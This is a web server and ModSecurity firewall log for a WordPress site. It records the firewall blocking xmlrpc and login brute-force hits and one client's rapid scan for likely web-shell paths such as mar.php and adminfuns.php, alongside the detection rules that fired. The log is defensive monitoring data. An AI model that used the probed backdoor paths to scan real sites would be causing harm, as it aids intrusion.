[Thu Feb 26 22:02:06.046241 2026] [:error] [pid 3883:tid 3886] [client 43.165.189.110:49646] [client 43.165.189.110] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aaBSXuA33x90V6yYHajxwwAAAUA"]
[Thu Feb 26 22:04:54.761268 2026] [:error] [pid 54990:tid 54996] [client 108.179.219.145:35746] [client 108.179.219.145] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 108.179.219.145, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaBTBntr2qmt_mBhH2wtGwAAAAM"]
[Thu Feb 26 22:09:34.130436 2026] [:error] [pid 44444:tid 44474] [client 50.6.7.129:40740] [client 50.6.7.129] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 50.6.7.129, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaBUHm2sMNmj-yekUk1DYwAAAhg"]
[Thu Feb 26 22:14:26.584624 2026] [:error] [pid 55051:tid 55076] [client 37.187.75.30:45992] [client 37.187.75.30] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 37.187.75.30, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaBVQgmK1w2kZvh5eLHIzAAAAJY"]
[Thu Feb 26 22:15:27.233036 2026] [:error] [pid 55618:tid 55629] [client 20.151.107.14:64142] [client 20.151.107.14] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 20.151.107.14, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-content/uploads/wp-login.php"] [unique_id "aaBVfx61Vrh12f_8oWQSuwAAAQg"]
[Thu Feb 26 22:15:33.255302 2026] [:error] [pid 55618:tid 55645] [client 20.151.107.14:64142] [client 20.151.107.14] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 20.151.107.14, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaBVhR61Vrh12f_8oWQSwwAAARg"]
[Thu Feb 26 22:15:35.300818 2026] [:error] [pid 25311:tid 25319] [client 20.151.107.14:64245] [client 20.151.107.14] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 20.151.107.14, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaBVh9fdM__yZAgJFSvp6AAAAYU"]
[Thu Feb 26 22:15:37.680374 2026] [:error] [pid 55618:tid 55643] [client 20.151.107.14:64142] [client 20.151.107.14] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 20.151.107.14, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaBViR61Vrh12f_8oWQSxQAAARY"]
[Thu Feb 26 22:15:38.881922 2026] [autoindex:error] [pid 55618:tid 55634] [client 20.151.107.14:64142] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-content/uploads/2025/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Feb 26 22:15:40.572396 2026] [:error] [pid 55618:tid 55635] [client 20.151.107.14:64142] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ioxi-o.php"] [unique_id "aaBVjB61Vrh12f_8oWQSyAAAAQ4"]
[Thu Feb 26 22:15:41.023223 2026] [:error] [pid 20419:tid 20441] [client 20.151.107.14:64169] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ioxi-o.php"] [unique_id "aaBVje3DVDvMfTYYUBVl3AAAAdM"]
[Thu Feb 26 22:15:41.603476 2026] [:error] [pid 55051:tid 55068] [client 20.151.107.14:64236] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ioxi-o.php"] [unique_id "aaBVjQmK1w2kZvh5eLHJrwAAAI4"]
[Thu Feb 26 22:15:42.170801 2026] [:error] [pid 20419:tid 20443] [client 20.151.107.14:63601] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ioxi-o.php"] [unique_id "aaBVju3DVDvMfTYYUBVl3wAAAdU"]
[Thu Feb 26 22:15:42.647990 2026] [:error] [pid 3883:tid 3888] [client 20.151.107.14:64196] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/upload/login.php"] [unique_id "aaBVjuA33x90V6yYHaj0HAAAAUI"]
[Thu Feb 26 22:15:43.082105 2026] [:error] [pid 44444:tid 44471] [client 20.151.107.14:64244] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/upload/login.php"] [unique_id "aaBVj22sMNmj-yekUk1F-gAAAhU"]
[Thu Feb 26 22:15:43.595126 2026] [:error] [pid 3883:tid 3898] [client 20.151.107.14:63593] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/upload/login.php"] [unique_id "aaBVj-A33x90V6yYHaj0IAAAAUw"]
[Thu Feb 26 22:15:44.121145 2026] [:error] [pid 25311:tid 25314] [client 20.151.107.14:64224] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/upload/login.php"] [unique_id "aaBVkNfdM__yZAgJFSvp8QAAAYA"]
[Thu Feb 26 22:15:44.683725 2026] [:error] [pid 44444:tid 44472] [client 20.151.107.14:64184] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/adminfuns.php"] [unique_id "aaBVkG2sMNmj-yekUk1F_QAAAhY"]
[Thu Feb 26 22:15:45.813778 2026] [:error] [pid 55051:tid 55060] [client 20.151.107.14:64204] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/adminfuns.php"] [unique_id "aaBVkQmK1w2kZvh5eLHJtwAAAIY"]
[Thu Feb 26 22:15:46.493710 2026] [:error] [pid 3883:tid 3891] [client 20.151.107.14:63602] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/adminfuns.php"] [unique_id "aaBVkuA33x90V6yYHaj0IgAAAUU"]
[Thu Feb 26 22:15:47.132405 2026] [:error] [pid 44444:tid 44463] [client 20.151.107.14:64216] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/adminfuns.php"] [unique_id "aaBVk22sMNmj-yekUk1GAwAAAg0"]
[Thu Feb 26 22:15:47.579065 2026] [:error] [pid 55122:tid 55134] [client 20.151.107.14:64234] [client 20.151.107.14] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/Text/index.php"] [unique_id "aaBVk4LiR0OfjFxvcN81MAAAAMo"]
[Thu Feb 26 22:15:48.563785 2026] [:error] [pid 20419:tid 20425] [client 20.151.107.14:64154] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/css/colors/index.php"] [unique_id "aaBVlO3DVDvMfTYYUBVl4QAAAcM"]
[Thu Feb 26 22:15:49.000546 2026] [:error] [pid 44444:tid 44455] [client 20.151.107.14:64226] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/css/colors/index.php"] [unique_id "aaBVlG2sMNmj-yekUk1GBQAAAgU"]
[Thu Feb 26 22:15:49.454712 2026] [:error] [pid 44444:tid 44451] [client 20.151.107.14:64217] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/css/colors/index.php"] [unique_id "aaBVlW2sMNmj-yekUk1GBgAAAgE"]
[Thu Feb 26 22:15:49.879782 2026] [:error] [pid 44444:tid 44456] [client 20.151.107.14:64168] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/css/colors/index.php"] [unique_id "aaBVlW2sMNmj-yekUk1GCQAAAgY"]
[Thu Feb 26 22:15:50.517249 2026] [:error] [pid 55618:tid 55621] [client 20.151.107.14:63576] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/about.php"] [unique_id "aaBVlh61Vrh12f_8oWQSywAAAQA"]
[Thu Feb 26 22:15:51.538670 2026] [:error] [pid 54991:tid 55025] [client 20.151.107.14:63594] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/about.php"] [unique_id "aaBVl94Zx-mJ8gbRB2j6bQAAAEU"]
[Thu Feb 26 22:15:52.425062 2026] [:error] [pid 3883:tid 3905] [client 20.151.107.14:64219] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/about.php"] [unique_id "aaBVmOA33x90V6yYHaj0JAAAAVM"]
[Thu Feb 26 22:15:52.846274 2026] [:error] [pid 54990:tid 54993] [client 20.151.107.14:64177] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/about.php"] [unique_id "aaBVmHtr2qmt_mBhH2wuQwAAAAA"]
[Thu Feb 26 22:15:53.302078 2026] [:error] [pid 55051:tid 55072] [client 20.151.107.14:63573] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/maint/"] [unique_id "aaBVmQmK1w2kZvh5eLHJxAAAAJI"]
[Thu Feb 26 22:15:53.974070 2026] [:error] [pid 54990:tid 55008] [client 20.151.107.14:64173] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/maint/"] [unique_id "aaBVmXtr2qmt_mBhH2wuRQAAAA8"]
[Thu Feb 26 22:15:54.393681 2026] [:error] [pid 55618:tid 55629] [client 20.151.107.14:64225] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/maint/"] [unique_id "aaBVmh61Vrh12f_8oWQSzgAAAQg"]
[Thu Feb 26 22:15:55.136904 2026] [:error] [pid 55051:tid 55061] [client 20.151.107.14:63599] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/maint/"] [unique_id "aaBVmwmK1w2kZvh5eLHJyAAAAIc"]
[Thu Feb 26 22:15:55.611817 2026] [:error] [pid 55618:tid 55639] [client 20.151.107.14:64174] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/themes/seotheme/mar.php"] [unique_id "aaBVmx61Vrh12f_8oWQSzwAAARI"]
[Thu Feb 26 22:15:56.460805 2026] [:error] [pid 55122:tid 55131] [client 20.151.107.14:63552] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/themes/seotheme/mar.php"] [unique_id "aaBVnILiR0OfjFxvcN81NAAAAMc"]
[Thu Feb 26 22:15:56.998466 2026] [:error] [pid 54991:tid 55034] [client 20.151.107.14:64187] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/themes/seotheme/mar.php"] [unique_id "aaBVnN4Zx-mJ8gbRB2j6dAAAAE4"]
[Thu Feb 26 22:15:57.508500 2026] [:error] [pid 54991:tid 55044] [client 20.151.107.14:64254] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/themes/seotheme/mar.php"] [unique_id "aaBVnd4Zx-mJ8gbRB2j6dgAAAFg"]
[Thu Feb 26 22:15:57.957503 2026] [:error] [pid 54991:tid 55028] [client 20.151.107.14:63603] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/Text/Diff/Renderer/"] [unique_id "aaBVnd4Zx-mJ8gbRB2j6eAAAAEg"]
[Thu Feb 26 22:15:58.689339 2026] [:error] [pid 44444:tid 44471] [client 20.151.107.14:64151] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/Text/Diff/Renderer/"] [unique_id "aaBVnm2sMNmj-yekUk1GDgAAAhU"]
[Thu Feb 26 22:15:59.324510 2026] [:error] [pid 55051:tid 55074] [client 20.151.107.14:63555] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/Text/Diff/Renderer/"] [unique_id "aaBVnwmK1w2kZvh5eLHJ0QAAAJQ"]
[Thu Feb 26 22:15:59.998151 2026] [:error] [pid 44444:tid 44462] [client 20.151.107.14:64220] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/Text/Diff/Renderer/"] [unique_id "aaBVn22sMNmj-yekUk1GDwAAAgw"]
[Thu Feb 26 22:16:00.752496 2026] [:error] [pid 55618:tid 55637] [client 20.151.107.14:64214] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/themes.php"] [unique_id "aaBVoB61Vrh12f_8oWQS0gAAARA"]
[Thu Feb 26 22:16:01.248260 2026] [:error] [pid 44444:tid 44450] [client 20.151.107.14:63585] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/themes.php"] [unique_id "aaBVoW2sMNmj-yekUk1GFAAAAgA"]
[Thu Feb 26 22:16:01.698744 2026] [:error] [pid 25311:tid 25314] [client 20.151.107.14:63570] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/themes.php"] [unique_id "aaBVodfdM__yZAgJFSvqBQAAAYA"]
[Thu Feb 26 22:16:02.216526 2026] [:error] [pid 55051:tid 55063] [client 20.151.107.14:64211] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/themes.php"] [unique_id "aaBVogmK1w2kZvh5eLHJ2QAAAIk"]
[Thu Feb 26 22:16:02.647678 2026] [:error] [pid 44444:tid 44467] [client 20.151.107.14:62916] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xml.php"] [unique_id "aaBVom2sMNmj-yekUk1GGQAAAhE"]
[Thu Feb 26 22:16:03.070989 2026] [:error] [pid 54990:tid 54997] [client 20.151.107.14:64164] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xml.php"] [unique_id "aaBVo3tr2qmt_mBhH2wuTAAAAAQ"]
[Thu Feb 26 22:16:03.510384 2026] [:error] [pid 54990:tid 55001] [client 20.151.107.14:63567] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xml.php"] [unique_id "aaBVo3tr2qmt_mBhH2wuTwAAAAg"]
[Thu Feb 26 22:16:03.982191 2026] [:error] [pid 54990:tid 55006] [client 20.151.107.14:64149] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xml.php"] [unique_id "aaBVo3tr2qmt_mBhH2wuUgAAAA0"]
[Thu Feb 26 22:16:04.429822 2026] [:error] [pid 54990:tid 55014] [client 20.151.107.14:64231] [client 20.151.107.14] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/Text/about.php"] [unique_id "aaBVpHtr2qmt_mBhH2wuUwAAABU"]
[Thu Feb 26 22:16:04.887292 2026] [:error] [pid 25311:tid 25327] [client 20.151.107.14:64158] [client 20.151.107.14] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/ID3/index.php"] [unique_id "aaBVpNfdM__yZAgJFSvqDQAAAY0"]
[Thu Feb 26 22:16:05.326546 2026] [:error] [pid 20419:tid 20433] [client 20.151.107.14:64213] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/hplfuns.php"] [unique_id "aaBVpe3DVDvMfTYYUBVl6gAAAcs"]
[Thu Feb 26 22:16:05.807337 2026] [:error] [pid 20419:tid 20441] [client 20.151.107.14:64191] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/hplfuns.php"] [unique_id "aaBVpe3DVDvMfTYYUBVl7QAAAdM"]
[Thu Feb 26 22:16:06.246090 2026] [:error] [pid 54991:tid 55043] [client 20.151.107.14:64162] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/hplfuns.php"] [unique_id "aaBVpt4Zx-mJ8gbRB2j6jgAAAFc"]
